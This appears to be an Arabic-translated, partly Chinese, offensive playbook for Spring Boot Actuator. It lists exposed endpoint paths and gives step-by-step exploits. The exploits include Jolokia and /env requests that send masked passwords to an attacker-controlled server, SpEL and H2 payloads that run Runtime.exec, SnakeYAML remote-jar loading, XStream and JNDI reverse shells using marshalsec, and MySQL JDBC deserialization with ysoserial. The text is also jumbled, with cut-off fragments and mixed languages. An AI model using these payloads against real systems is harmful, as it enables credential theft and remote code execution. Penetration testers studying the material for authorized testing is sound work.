
SpringBoot المواد التعليمية ذات الصلة بالثغرات الأمنية، مجموعة طرق وتقنيات الاستغلال، قائمة فحص التقييم الأمني للصندوق الأسود
مواد تعليمية حول ثغرات Spring Boot ذات الصلة، مجموعة من طرق وتقنيات الاستغلال، قائمة التحقق للتقييم الأمني في الصندوق الأسود
⚠️ جميع محتويات هذا المشروع مخصصة فقط للبحث الأمني والاختبار المصرح به، ولا يتحمل الأشخاص المعنيون أي مسؤولية عن أي ضرر ناتج عن سوء الاستخدام أو إساءة استخدام هذا المشروع
/manage أو /management أو اسم المشروع App ذي الصلة كمسار جذر لـ Spring/، بينما الإصدار 2.x يستخدم /actuator كمسار بداية بشكل موحد/env، في بعض الأحيان من قبل المبرمجين، على سبيل المثال تغييرها إلى /appenvSpring Cloud هو إطار عمل مبني على Spring Boot لبناء الخدمات، ويوفر وظائف شائعة مثل إدارة التكوين، اكتشاف الخدمات وتسجيلها، التوجيه الذكي، وما إلى ذلك، وهو مجموعة منسقة من الأطر التي تساعد في تطوير الأنظمة الموزعة بسرعة.
| العنصر التابع | قائمة الإصدارات وإصدارات المكونات التابعة |
|---|---|
| spring-boot-starter-parent | spring-boot-starter-parent |
| spring-boot-dependencies |
| لاحقة الإصدار الصغير | المعنى |
|---|---|
| BUILD-SNAPSHOT | إصدار تجريبي، الكود غير ثابت وقيد التغيير |
| MX | إصدار معلم |
| RCX |
المطورون لم يدركوا أن تسرب العناوين قد يؤدي إلى مخاطر أمنية، أو عند الانتقال من بيئة التطوير إلى بيئة الإنتاج، لم يقم المسؤولون بتغيير ملفات التكوين، ونسوا تبديل تكوين البيئة، إلخ.
قم بزيارة التوجيهين التاليين المتعلقين بـ Swagger مباشرة للتحقق من وجود الثغرة:``` /v2/api-docs /swagger-ui.html
بعض مسارات الواجهة الأخرى ذات الصلة التي قد تواجهها مثل swagger و swagger codegen و swagger-dubbo:```
/swagger
/api-docs
/api.html
/swagger-ui
/swagger/codes
/api/index.html
/api/v2/api-docs
/v2/swagger.json
/swagger-ui/html
/distv2/index.html
/swagger/index.html
/sw/swagger-ui.html
/api/swagger-ui.html
/static/swagger.json
/user/swagger-ui.html
/swagger-ui/index.html
/swagger-dubbo/api-docs
/template/swagger-ui.html
/swagger/static/index.html
/dubbo-provider/distv2/index.html
/spring-security-rest/api/swagger-ui.html
/spring-security-oauth-resource/swagger-ui.html
بالإضافة إلى ذلك، قد تحتوي المسارات المتعلقة بـ spring boot actuator أحيانًا على معلومات عنوان الواجهة (أو تُستنتج)، لكن لا يمكن الحصول على المعلومات المتعلقة بالمعلمات:``` /mappings /metrics /beans /configprops /actuator/metrics /actuator/mappings /actuator/beans /actuator/configprops
**بشكل عام، كشف واجهات التطبيق المرتبطة بـ Spring Boot ومعلومات المعاملات لا يُعتبر ثغرة**، ولكن من منظور "**الأمان الافتراضي**"، فإن عدم كشف هذه المعلومات يكون أكثر أمانًا.
بالنسبة للمهاجمين، فإنهم عادةً ما يدققون في الواجهات المكشوفة لزيادة فهمهم للنظام التجاري، ويتحققون في نفس الوقت من وجود ثغرات أخرى مثل الوصول غير المصرح به أو تجاوز الصلاحيات.
### 0x02: المسارات المكشوفة بسبب التكوين غير الصحيح
> السبب الرئيسي هو أن المبرمجين لم يدركوا أثناء التطوير أن كشف المسارات قد يشكل خطرًا أمنيًا، أو لم يتبعوا إجراءات التطوير القياسية، ونسوا تعديل/تبديل تكوين بيئة الإنتاج عند النشر.
ارجع إلى [production-ready-endpoints](https://docs.spring.io/spring-boot/docs/1.5.10.RELEASE/reference/htmlsingle/#production-ready-endpoints) و [spring-boot.txt](https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt)، قد تكون المسارات الافتراضية المدمجة المكشوفة بسبب التكوين غير الصحيح كالتالي:```
/actuator
/auditevents
/autoconfig
/beans
/caches
/conditions
/configprops
/docs
/dump
/env
/flyway
/health
/heapdump
/httptrace
/info
/intergrationgraph
/jolokia
/logfile
/loggers
/liquibase
/metrics
/mappings
/prometheus
/refresh
/scheduledtasks
/sessions
/shutdown
/trace
/threaddump
/actuator/auditevents
/actuator/beans
/actuator/health
/actuator/conditions
/actuator/configprops
/actuator/env
/actuator/info
/actuator/loggers
/actuator/heapdump
/actuator/threaddump
/actuator/metrics
/actuator/scheduledtasks
/actuator/httptrace
/actuator/mappings
/actuator/jolokia
/actuator/hystrix.stream
من بين الواجهات المهمة لاكتشاف الثغرات:
/env و /actuator/env
يؤدي طلب GET إلى /env إلى تسريب المتغيرات البيئية والعناوين الداخلية وأسماء المستخدمين في الإعدادات مباشرةً؛ وعندما لا تكون أسماء خصائص المبرمج موحدة، مثل كتابة password كـ psasword أو pwd، فقد يتم تسريب كلمة المرور كنص واضح؛
وفي الوقت نفسه، هناك احتمال معين لإعداد بعض الخصائص عبر طلب POST إلى واجهة /env، مما يؤدي بشكل غير مباشر إلى تشغيل ثغرات RCE ذات الصلة؛ وهناك أيضاً احتمال الحصول على النص الواضح لكلمات المرور والمفاتيح الهامة والخصوصية الأخرى التي تم إخفاؤها بعلامات نجمية.
/refresh و /actuator/refresh
بعد إعداد الخصائص عبر طلب POST إلى واجهة /env، يمكن دمجه مع طلب POST إلى واجهة /refresh لتحديث متغيرات الخصائص لتشغيل ثغرات RCE ذات الصلة.
/restart و /actuator/restart
ظهور هذه الواجهة نادر؛ يمكن دمجه مع إعداد الخصائص عبر طلب POST إلى واجهة /env، ثم طلب POST إلى واجهة /restart لإعادة تشغيل التطبيق لتشغيل ثغرات RCE ذات الصلة.
عند الوصول إلى واجهة /env، يقوم Spring Actuator باستبدال قيم الخصائص التي تحتوي على كلمات رئيسية حساسة (مثل password أو secret) بعلامة * لتحقيق إخفاء البيانات.
/jolokia أو /actuator/jolokiajolokia-core (متطلبات الإصدار غير معروفة حالياً)قم بإرسال طلب GET إلى واجهة /env أو /actuator/env لموقع الهدف، وابحث عن كلمة ****** للعثور على اسم الخاصية التي تم إخفاء قيمتها بعلامات نجمية والمطلوب الحصول عليها.
قم باستبدال security.user.password في المثال التالي باسم الخاصية الفعلية التي تريد الحصول عليها، وأرسل الحزمة مباشرةً؛ ستظهر نتيجة النص الواضح في مفتاح value داخل حزمة الرد.
org.springframework.bootفي الواقع هو استدعاء طريقة getProperty للكائن من الفئة org.springframework.boot.admin.SpringApplicationAdminMXBeanRegistrar
spring 1.x``` POST /jolokia Content-Type: application/json
{"mbean": "org.springframework.boot:name=SpringApplication,type=Admin","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}
spring 2.x```
POST /actuator/jolokia
Content-Type: application/json
{"mbean": "org.springframework.boot:name=SpringApplication,type=Admin","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}
org.springframework.cloud.context.environment Mbeanفي الواقع، يتم استدعاء طريقة getProperty من مثيل الفئة org.springframework.cloud.context.environment.EnvironmentManager
spring 1.x``` POST /jolokia Content-Type: application/json
{"mbean": "org.springframework.cloud.context.environment:name=environmentManager,type=EnvironmentManager","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}
spring 2.x```
POST /actuator/jolokia
Content-Type: application/json
{"mbean": "org.springframework.cloud.context.environment:name=environmentManager,type=EnvironmentManager","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}
目标具体情况和存在的 Mbean 可能不一样,可以搜索 getProperty 等关键词,寻找可以调用的方法。
/env/env/refresh 接口刷新配置(存在 spring-boot-starter-actuator 依赖)spring-cloud-starter-netflix-eureka-client 依赖GET 请求目标网站的 /env 或 /actuator/env 接口,搜索 ****** 关键词,找到想要获取的被星号 * 遮掩的属性值对应的属性名。
在自己控制的外网服务器上监听 80 端口:```bash nc -lvk 80
##### الخطوة الثالثة: تعيين الخاصية eureka.client.serviceUrl.defaultZone
استبدل `security.user.password` في `http://value:${security.user.password}@your-vps-ip` أدناه باسم الخاصية المقابلة المراد الحصول عليها والمخبأة بعلامة النجمة *؛
استبدل `your-vps-ip` بعنوان IP الحقيقي لخادمك الخارجي.
spring 1.x```
POST /env
Content-Type: application/x-www-form-urlencoded
eureka.client.serviceUrl.defaultZone=http://value:${security.user.password}@your-vps-ip
spring 2.x``` POST /actuator/env Content-Type: application/json
{"name":"eureka.client.serviceUrl.defaultZone","value":"http://value:${security.user.password}@your-vps-ip"}
##### الخطوة الرابعة: تحديث التكوين
spring 1.x```
POST /refresh
Content-Type: application/x-www-form-urlencoded
spring 2.x``` POST /actuator/refresh Content-Type: application/json
##### الخطوة الخامسة: فك تشفير قيم السمات
في العادة، في هذه المرحلة، سيتلقى الخادم الذي يستمع عبر nc طلبًا من الهدف، يحتوي على محتوى مشابه لرأس `Authorization` التالي:```
Authorization: Basic dmFsdWU6MTIzNDU2
قم بفك تشفير الجزء dmFsdWU6MTIzNDU2 باستخدام base64، ستحصل على قيمة نصية واضحة مثل value:123456، حيث أن 123456 هي القيمة النصية للخاصية قبل إخفائها بعلامة النجمة *.
/env لتعيين خاصية تؤدي إلى إرسال الهدف طلب http عشوائي إلى عنوان محدد على الإنترنت الخارجيبالرجوع إلى issue-1 الذي طرحه UUUUnotfound، يمكن استخدام العناصر النائبة في مسار URL أثناء إرسال الهدف طلبات http خارجية لإخراج البيانات
أرسل طلب GET إلى /env أو /actuator/env على الموقع الهدف، وابحث عن كلمة ******، واعثر على اسم الخاصية المقابلة لقيمة الخاصية المخفية بعلامة النجمة * التي تريد الحصول عليها.
استمع على المنفذ 80 في خادم خارجي تحت سيطرتك:```bash nc -lvk 80
##### الخطوة الثالثة: تحفيز طلب http خارجي
- طريقة `spring.cloud.bootstrap.location` ( **ينطبق أيضًا على** الحالات التي تحتوي فيها البيانات النصية على أحرف عنوان URL خاصة)
spring 1.x```
POST /env
Content-Type: application/x-www-form-urlencoded
spring.cloud.bootstrap.location=http://your-vps-ip/?=${security.user.password}
spring 2.x``` POST /actuator/env Content-Type: application/json
{"name":"spring.cloud.bootstrap.location","value":"http://your-vps-ip/?=${security.user.password}"}
- `eureka.client.serviceUrl.defaultZone` طريقة (**لا تنطبق على** الحالات التي تحتوي فيها البيانات النصية الصريحة على أحرف URL خاصة)
spring 1.x```
POST /env
Content-Type: application/x-www-form-urlencoded
eureka.client.serviceUrl.defaultZone=http://your-vps-ip/${security.user.password}
spring 2.x``` POST /actuator/env Content-Type: application/json
{"name":"eureka.client.serviceUrl.defaultZone","value":"http://your-vps-ip/${security.user.password}"}
##### الخطوة الرابعة: تحديث التكوين
spring 1.x```
POST /refresh
Content-Type: application/x-www-form-urlencoded
spring 2.x``` POST /actuator/refresh Content-Type: application/json
### 0x06: الحصول على النص العادي لكلمة المرور المخفية بنجوم (الطريقة الرابعة)
> عند الوصول إلى واجهة `/env`، يقوم spring actuator باستبدال قيم الخصائص التي تحتوي على كلمات رئيسية حساسة (مثل password، secret) بعلامة * لتحقيق الإخفاء.
#### شروط الاستغلال:
- يمكن إرسال طلب GET بشكل طبيعي إلى واجهة `/heapdump` أو `/actuator/heapdump` للهدف
#### طريقة الاستغلال:
##### الخطوة الأولى: العثور على اسم الخاصية المطلوبة
أرسل طلب GET إلى واجهة `/env` أو `/actuator/env` للهدف، وابحث عن كلمة `******`، ثم اعثر على اسم الخاصية المقابلة للقيمة المخفية بنجوم التي ترغب في الحصول عليها.
##### الخطوة الثانية: تنزيل معلومات heap الخاصة بـ JVM
> عادةً ما يتراوح حجم ملف heapdump الذي تم تنزيله بين 50M و 500M، وقد يتجاوز 2G في بعض الأحيان
أرسل طلب `GET` إلى واجهة `/heapdump` أو `/actuator/heapdump` للهدف لتنزيل معلومات heap الحالية لتطبيق JVM.
##### الخطوة الثالثة: استخدام MAT للحصول على النص العادي لكلمة المرور من heap
راجع [المقال](https://landgrey.me/blog/16/) الطريقة، واستخدم عبارة **OQL** في أداة [Eclipse Memory Analyzer](https://www.eclipse.org/mat/downloads.php).```
select * from java.util.Hashtable$Entry x WHERE (toString(x.key).contains("password"))
或
select * from java.util.LinkedHashMap$Entry x WHERE (toString(x.key).contains("password"))
辅助用 "password" 等关键词快速过滤分析,获得密码等相关敏感信息的明文。
由于 spring boot 相关漏洞可能是多个组件漏洞组合导致的,所以有些漏洞名字起的不太正规,以能区分为准
比如发现访问 /article?id=xxx ,页面会报状态码为 500 的错误: Whitelabel Error Page,则后续 payload 都将会在参数 id 处尝试。
输入 /article?id=${7*7} ,如果发现报错页面将 7*7 的值 49 计算出来显示在报错页面上,那么基本可以确定目标存在 SpEL 表达式注入漏洞。
由字符串格式转换成 0x** java 字节形式,方便执行任意代码:```python
result = "" target = 'open -a Calculator' for x in target: result += hex(ord(x)) + "," print(result.rstrip(','))
نفّذ الأمر `open -a Calculator````java
${T(java.lang.Runtime).getRuntime().exec(new String(new byte[]{0x6f,0x70,0x65,0x6e,0x20,0x2d,0x61,0x20,0x43,0x61,0x6c,0x63,0x75,0x6c,0x61,0x74,0x6f,0x72}))}
org.springframework.util.PropertyPlaceholderHelperparseStringValue${} بواسطة طريقة resolvePlaceholder في فئة org.springframework.boot.autoconfigure.web.ErrorMvcAutoConfiguration كتعبير SpEL وتنفيذه، مما يؤدي إلى ثغرة RCE تحليل وإعادة إنتاج ثغرة حقن تعبير SpEL في SpringBoot
repository/springboot-spel-rce
الوصول العادي:``` http://127.0.0.1:9091/article?id=66
نفّذ الأمر `open -a Calculator`:```java
http://127.0.0.1:9091/article?id=${T(java.lang.Runtime).getRuntime().exec(new%20String(new%20byte[]{0x6f,0x70,0x65,0x6e,0x20,0x2d,0x61,0x20,0x43,0x61,0x6c,0x63,0x75,0x6c,0x61,0x74,0x6f,0x72}))}
/env للموقع الهدف لتعيين الخصائص/refresh للموقع الهدف لتحديث التكوين (يتطلب وجود تبعية spring-boot-starter-actuator)spring-cloud-starter المستهدف أقل من 1.3.0.RELEASEقم بفتح خادم HTTP بسيط على جهاز VPS الذي تتحكم فيه، واستخدم المنافذ الشائعة لخدمات HTTP (80، 443) إذا أمكن.```bash
python2 -m SimpleHTTPServer 80 python3 -m http.server 80
ضع ملفًا باللاحقة `yml` باسم `example.yml` في الدليل الجذر للموقع، ومحتواه كالتالي:```yaml
!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://your-vps-ip/example.jar"]
]]
]
في الدليل الجذر للموقع، ضع ملفًا بامتداد jar باسم example.jar، محتواه هو الكود المراد تنفيذه. راجع yaml-payload لطريقة كتابة وتجميع الكود.
spring.cloud.bootstrap.locationspring 1.x``` POST /env Content-Type: application/x-www-form-urlencoded
spring.cloud.bootstrap.location=http://your-vps-ip/example.yml
spring 2.x```
POST /actuator/env
Content-Type: application/json
{"name":"spring.cloud.bootstrap.location","value":"http://your-vps-ip/example.yml"}
spring 1.x``` POST /refresh Content-Type: application/x-www-form-urlencoded
spring 2.x```
POST /actuator/refresh
Content-Type: application/json
spring.cloud.bootstrap.location على عنوان URL لملف yml ضار خارجي.java.net.URL لسحب ملف jar الضار من خادم HTTP البعيد.javax.script.ScriptEngineFactory في ملف jar وإنشاء مثيل لها. Exploit Spring Boot Actuator 之 Spring Cloud Env 学习笔记
repository/springcloud-snakeyaml-rce
الوصول العادي:``` http://127.0.0.1:9092/env
### 0x03: إلغاء تسلسل XStream في Eureka RCE
#### شروط الاستغلال:
- يمكن إرسال طلب POST إلى واجهة `/env` الخاصة بالموقع الهدف لتعيين الخصائص
- يمكن إرسال طلب POST إلى واجهة `/refresh` الخاصة بالموقع الهدف لتحديث التهيئة (يتطلب وجود تبعية `spring-boot-starter-actuator`)
- إصدار `eureka-client` المستخدم في الهدف أقل من 1.8.7 (عادةً ما يكون مضمنًا في تبعية `spring-cloud-starter-netflix-eureka-client`)
- يمكن للهدف إرسال طلبات إلى خادم HTTP الخاص بالمهاجم (يجب أن تكون الطلبات قادرة على الوصول إلى الشبكة الخارجية)
#### طريقة الاستغلال:
##### الخطوة الأولى: إنشاء موقع يستجيب بحمولة XStream ضارة
تقديم [مثال على سكريبت Python](https://raw.githubusercontent.com/LandGrey/SpringBootVulExploit/master/codebase/springboot-xstream-rce.py) يعتمد على Flask ويلبي المتطلبات، وظيفته استخدام Python المدمج في جهاز Linux الهدف لإنشاء شل عكسي.
قم بتشغيل السكريبت أعلاه بواسطة Python على الخادم الذي تتحكم فيه، وقم بتعديل عنوان IP ومنفذ الشل العكسي في السكريبت وفقًا للوضع الفعلي.
##### الخطوة الثانية: الاستماع على منفذ الشل العكسي
عادةً ما يتم استخدام nc للاستماع على منفذ وانتظار الشل العكسي.```bash
nc -lvp 443
spring 1.x``` POST /env Content-Type: application/x-www-form-urlencoded
eureka.client.serviceUrl.defaultZone=http://your-vps-ip/example
spring 2.x```
POST /actuator/env
Content-Type: application/json
{"name":"eureka.client.serviceUrl.defaultZone","value":"http://your-vps-ip/example"}
spring 1.x``` POST /refresh Content-Type: application/x-www-form-urlencoded
spring 2.x```
POST /actuator/refresh
Content-Type: application/json
eureka.client.serviceUrl.defaultZone إلى عنوان URL لخادم eureka خارجي ضارrefresh إلى إرسال الجهاز المستهدف طلبًا إلى عنوان URL البعيد، حيث يقوم خادم eureka الوهمي المُعد مسبقًا بإرجاع حمولة ضارة payload Spring Boot Actuator من الوصول غير المصرح به إلى الحصول على شل
repository/springboot-eureka-xstream-rce
الوصول العادي:``` http://127.0.0.1:9093/env
### 0x04: Jolokia Logback JNDI RCE
#### شروط الاستغلال:
- يحتوي الموقع الهدف على واجهة `/jolokia` أو `/actuator/jolokia`
- يستخدم الهدف الاعتمادية `jolokia-core` (شرط الإصدار غير معروف حاليًا) ويوجد MBean ذات الصلة في البيئة
- يمكن للهدف إرسال طلبات إلى خادم HTTP للمهاجم (الطلبات يمكنها الوصول إلى الإنترنت الخارجي)
- يتأثر حقن JNDI العادي بإصدار JDK الهدف، JDK < 6u201/7u191/8u182/11.0.1 (LDAP)، ولكن يمكن التحايل على ذلك في البيئات المناسبة
#### طريقة الاستغلال:
##### الخطوة الأولى: عرض MBeans الموجودة
قم بزيارة واجهة `/jolokia/list` وتحقق من وجود الكلمات المفتاحية `ch.qos.logback.classic.jmx.JMXConfigurator` و `reloadByURL`.
##### الخطوة الثانية: استضافة ملف XML
قم بتشغيل خادم HTTP بسيط على جهاز VPS الذي تتحكم فيه، ويفضل استخدام منافذ HTTP الشائعة (80, 443).```bash
# 使用 python 快速开启 http server
python2 -m SimpleHTTPServer 80
python3 -m http.server 80
ضع ملف example.xml الذي ينتهي بـ xml في الدليل الجذر، ومحتواه كما يلي:```xml
##### الخطوة الثالثة: تحضير كود Java المراد تنفيذه
اكتب [كود Java المثال](https://raw.githubusercontent.com/LandGrey/SpringBootVulExploit/master/codebase/JNDIObject.java) المُحسَّن لفتح شل عكسي `JNDIObject.java`،
قم بتجميعه باستخدام طريقة متوافقة مع إصدارات jdk القديمة:```bash
javac -source 1.5 -target 1.5 JNDIObject.java
ثم قم بنسخ ملف JNDIObject.class المولد إلى جذر موقع الويب في الخطوة الثانية.
قم بتنزيل marshalsec ، واستخدم الأمر التالي لإعداد خدمة ldap المقابلة:```bash java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://your-vps-ip:80/#JNDIObject 1389
##### الخطوة الخامسة: الاستماع للمنفذ الخاص بـ 反弹 shell
عادةً ما يتم استخدام nc للاستماع على المنفذ، في انتظار 反弹 shell```bash
nc -lv 443
⚠️ إذا نجح الهدف في طلب example.xml واستلم marshalsec أيضًا طلب الهدف، ولكن الهدف لم يطلب JNDIObject.class، فمن المحتمل أن إصدار JDK في بيئة الهدف مرتفع جدًا، مما يؤدي إلى فشل استغلال JNDI.
استبدل عنوان your-vps-ip الفعلي لزيارة عنوان URL لتشغيل الثغرة:``` /jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/your-vps-ip!/example.xml
#### مبدأ الثغرة:
1. الوصول المباشر إلى عنوان URL الذي يؤدي إلى تشغيل الثغرة، وهو ما يعادل استدعاء طريقة `reloadByURL` للفئة `ch.qos.logback.classic.jmx.JMXConfigurator` عبر jolokia
2. الجهاز المستهدف يطلب عنوان URL لملف تكوين السجلات الخارجي، ويحصل على محتوى ملف xml ضار
3. الجهاز المستهدف يستخدم saxParser.parse لتحليل ملف xml (وهذا يؤدي إلى ثغرة xxe)
4. في ملف xml، يتم استخدام علامة `insertFormJNDI` المعتمدة على `logback` لتعيين عنوان خادم JNDI خارجي
5. الجهاز المستهدف يطلب خادم JNDI ضار، مما يؤدي إلى حقن JNDI، ويسبب ثغرة RCE
#### تحليل الثغرة:
[spring boot actuator rce via jolokia](https://xz.aliyun.com/t/4258)
#### بيئة الثغرة:
[repository/springboot-jolokia-logback-rce](https://github.com/LandGrey/SpringBootVulExploit/tree/master/repository/springboot-jolokia-logback-rce)
الوصول العادي:```
http://127.0.0.1:9094/env
/jolokia أو /actuator/jolokia على الموقع المستهدفjolokia-core (إصدار غير معروف حاليًا) وتوجد MBeans مرتبطة في البيئةقم بزيارة واجهة /jolokia/list وتحقق من وجود الكلمات المفتاحية type=MBeanFactory و createJNDIRealm.
قم بكتابة كود Java مُحسَّن لفتح قذيفة عكسية باسم JNDIObject.java.
على خادم VPS الذي تتحكم فيه، قم بتشغيل خادم HTTP بسيط، ويفضل استخدام منافذ خدمات HTTP الشائعة (80، 443).```bash
python2 -m SimpleHTTPServer 80 python3 -m http.server 80
انسخ ملف class الذي تم تجميعه في الخطوة 2 إلى الدليل الجذر لخادم HTTP.
##### الخطوة الرابعة: إعداد خدمة RMI ضارة
قم بتنزيل [marshalsec](https://github.com/mbechler/marshalsec) واستخدم الأمر التالي لإعداد خدمة RMI المقابلة:```bash
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://your-vps-ip:80/#JNDIObject 1389
عادةً ما يتم استخدام nc للاستماع على منفذ، انتظارًا للصدفة العكسية.```bash nc -lvp 443
##### الخطوة السادسة: إرسال الحمولة الخبيثة
قم بتعديل عنوان الهدف وعنوان RMI والمنفذ والمعلومات الأخرى في البرنامج النصي [springboot-realm-jndi-rce.py](https://raw.githubusercontent.com/LandGrey/SpringBootVulExploit/master/codebase/springboot-realm-jndi-rce.py) وفقًا للوضع الفعلي، ثم قم بتشغيله على الخادم الذي تتحكم فيه.
#### مبدأ الثغرة:
1. استخدام Jolokia لاستدعاء createJNDIRealm لإنشاء JNDIRealm
2. تعيين عنوان connectionURL على أنه عنوان URL لخدمة RMI
3. تعيين contextFactory على أنه RegistryContextFactory
4. إيقاف Realm
5. بدء Realm لتشغيل حقن JNDI في عنوان RMI المحدد، مما يسبب ثغرة RCE
#### تحليل الثغرة:
[Yet Another Way to Exploit Spring Boot Actuators via Jolokia](https://static.anquanke.com/download/b/security-geek-2019-q1/article-10.html)
#### بيئة الثغرة:
[repository/springboot-jolokia-logback-rce](https://github.com/LandGrey/SpringBootVulExploit/tree/master/repository/springboot-jolokia-logback-rce)
الوصول العادي:```
http://127.0.0.1:9094/env
/env لتحديد الخصائص/restart لإعادة تشغيل التطبيقcom.h2database.h2 (الإصدار المطلوب غير معروف حاليًا)⚠️ يجب تغيير اسم طريقة 'T5' في الحمولة أدناه بعد كل تنفيذ أمر (مثل T6) ليتم إنشاؤها واستخدامها مرة أخرى، وإلا فلن يتم تشغيل الثغرة عند إعادة تشغيل التطبيق في المرة القادمة
spring 1.x (تنفيذ الأوامر بدون رد)``` POST /env Content-Type: application/x-www-form-urlencoded
spring.datasource.hikari.connection-test-query=CREATE ALIAS T5 AS CONCAT('void ex(String m1,String m2,String m3)throws Exception{Runti','me.getRun','time().exe','c(new String[]{m1,m2,m3});}');CALL T5('cmd','/c','calc');
spring 2.x(تنفيذ الأوامر بدون صدى)```
POST /actuator/env
Content-Type: application/json
{"name":"spring.datasource.hikari.connection-test-query","value":"CREATE ALIAS T5 AS CONCAT('void ex(String m1,String m2,String m3)throws Exception{Runti','me.getRun','time().exe','c(new String[]{m1,m2,m3});}');CALL T5('cmd','/c','calc');"}
spring 1.x``` POST /restart Content-Type: application/x-www-form-urlencoded
spring 2.x```
POST /actuator/restart
Content-Type: application/json
spring.datasource.hikari.connection-test-query إلى عبارة SQL خبيثة CREATE ALIAS لإنشاء دالة مخصصة.connectionTestQuery لمجموعة اتصال قاعدة بيانات HikariCP، الذي يحدد عبارة SQL يتم تنفيذها قبل إنشاء اتصال قاعدة بيانات جديد.remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database
repository/springboot-h2-database-rce
الوصول العادي:``` http://127.0.0.1:9096/actuator/env
### 0x07: استغلال JNDI RCE عبر وحدة تحكم قاعدة بيانات H2
#### شروط الاستغلال:
- وجود تبعية `com.h2database.h2` (إصدار غير معروف حتى الآن)
- تفعيل وحدة تحكم h2 في تكوين Spring `spring.h2.console.enabled=true`
- الهدف يمكنه إرسال طلبات إلى خادم المهاجم (يمكن للطلبات الوصول إلى الشبكة الخارجية)
- حقن JNDI يتأثر بإصدار JDK على الهدف، jdk < 6u201/7u191/8u182/11.0.1 (باستخدام LDAP)
#### طريقة الاستغلال:
##### الخطوة الأولى: الوصول إلى المسار للحصول على jsessionid
قم بالوصول مباشرة إلى المسار الافتراضي لوحدة تحكم h2 المفعّلة على الهدف `/h2-console`، سيعيد التوجيه إلى الصفحة `/h2-console/login.jsp?jsessionid=xxxxxx`، سجل القيمة الفعلية لـ `jsessionid=xxxxxx`.
##### الخطوة الثانية: تحضير كود Java المراد تنفيذه
اكتب [مثال كود Java](https://raw.githubusercontent.com/LandGrey/SpringBootVulExploit/master/codebase/JNDIObject.java) محسّن لعكس الصدفة `JNDIObject.java`،
قم بتجميعه بطريقة متوافقة مع إصدارات JDK القديمة:```bash
javac -source 1.5 -target 1.5 JNDIObject.java
ثم انسخ ملف JNDIObject.class المُنشأ إلى الدليل الجذر لموقع الويب في الخطوة 2.
على جهاز VPS الذي تتحكم فيه، قم بتشغيل خادم HTTP بسيط، واستخدم منافذ خدمة HTTP الشائعة (80، 443) قدر الإمكان.```bash
python2 -m SimpleHTTPServer 80 python3 -m http.server 80
انسخ ملفات class التي تم تجميعها في **الخطوة الثانية** إلى الدليل الجذر لخادم HTTP.
##### الخطوة الرابعة: إعداد خدمة ldap الخبيثة
قم بتنزيل [marshalsec](https://github.com/mbechler/marshalsec) واستخدم الأمر التالي لإعداد خدمة ldap المقابلة:```bash
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://your-vps-ip:80/#JNDIObject 1389
بشكل عام، استخدم nc للاستماع على المنفذ، وانتظر الصدفة العكسية```bash nc -lv 443
##### الخطوة السادسة: إرسال الحزمة لتفعيل حقن JNDI
استنادًا إلى الوضع الفعلي، استبدل `jsessionid=xxxxxx` و `www.example.com` و `ldap://your-vps-ip:1389/JNDIObject` في البيانات أدناه.```bash
POST /h2-console/login.do?jsessionid=xxxxxx
Host: www.example.com
Content-Type: application/x-www-form-urlencoded
Referer: http://www.example.com/h2-console/login.jsp?jsessionid=xxxxxx
language=en&setting=Generic+H2+%28Embedded%29&name=Generic+H2+%28Embedded%29&driver=javax.naming.InitialContext&url=ldap://your-vps-ip:1389/JNDIObject&user=&password=
[Spring Boot + حقن JNDI في قاعدة بيانات H2](https://mp.weixin.qq.com/s/Yn5U8WHGJZbTJsxwUU3UiQ)
repository/springboot-h2-database-rce
الوصول العادي:``` http://127.0.0.1:9096/h2-console
### 0x08: تنفيذ الأوامر عن بُعد (RCE) عبر إلغاء تسلسل MySQL JDBC
#### شروط الاستغلال:
- يمكن إرسال طلب POST إلى واجهة `/env` لتحديد الخصائص
- يمكن إرسال طلب POST إلى واجهة `/refresh` لتحديث التهيئة (وجود تبعية `spring-boot-starter-actuator`)
- وجود تبعية `mysql-connector-java` في البيئة المستهدفة
- يمكن للهدف إرسال طلبات إلى خادم المهاجم (يجب أن تكون الطلبات قادرة على الخروج إلى الشبكة الخارجية)
#### طريقة الاستغلال:
##### الخطوة الأولى: فحص تبعيات البيئة
أرسل طلب GET إلى `/env` أو `/actuator/env`، وابحث في متغيرات البيئة (classpath) عن وجود كلمة `mysql-connector-java`، وسجّل رقم الإصدار (5.x أو 8.x).
ابحث ولاحظ ما إذا كانت متغيرات البيئة تحتوي على تبعيات أدوات إلغاء التسلسل الشائعة، مثل `commons-collections` أو `Jdk7u21` أو `Jdk8u20` إلخ.
ابحث عن كلمة `spring.datasource.url`، وسجّل قيمة `value` الخاصة بها، لاستعادة قيمة JDBC URL الطبيعية لاحقًا.
##### الخطوة الثانية: إعداد خادم MySQL وهمي ضار
قم بتشغيل البرنامج النصي [springboot-jdbc-deserialization-rce.py](https://raw.githubusercontent.com/LandGrey/SpringBootVulExploit/master/codebase/springboot-jdbc-deserialization-rce.py) على الخادم الذي تتحكم فيه، واستخدم [ysoserial](https://github.com/frohoff/ysoserial) لتخصيص الأمر المراد تنفيذه:```bash
java -jar ysoserial.jar CommonsCollections3 calc > payload.ser
قم بإنشاء ملف الحمولة النافعة (payload) لتفريغ التسلسل payload.ser في نفس الدليل الذي يوجد به البرنامج النصي، لاستخدامه بواسطة البرنامج النصي.
⚠️ قد يؤدي تعديل هذه الخاصية إلى تعطيل جميع خدمات قاعدة البيانات العادية للموقع مؤقتًا، مما يؤثر على الأعمال. يرجى التصرف بحذر!
الإصدار 5.x من mysql-connector-java يحدد قيمة الخاصية على النحو التالي:``` jdbc:mysql://your-vps-ip:3306/mysql?characterEncoding=utf8&useSSL=false&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true
إصدار mysql-connector-java 8.x يقوم بتعيين **قيمة الخاصية** إلى:```
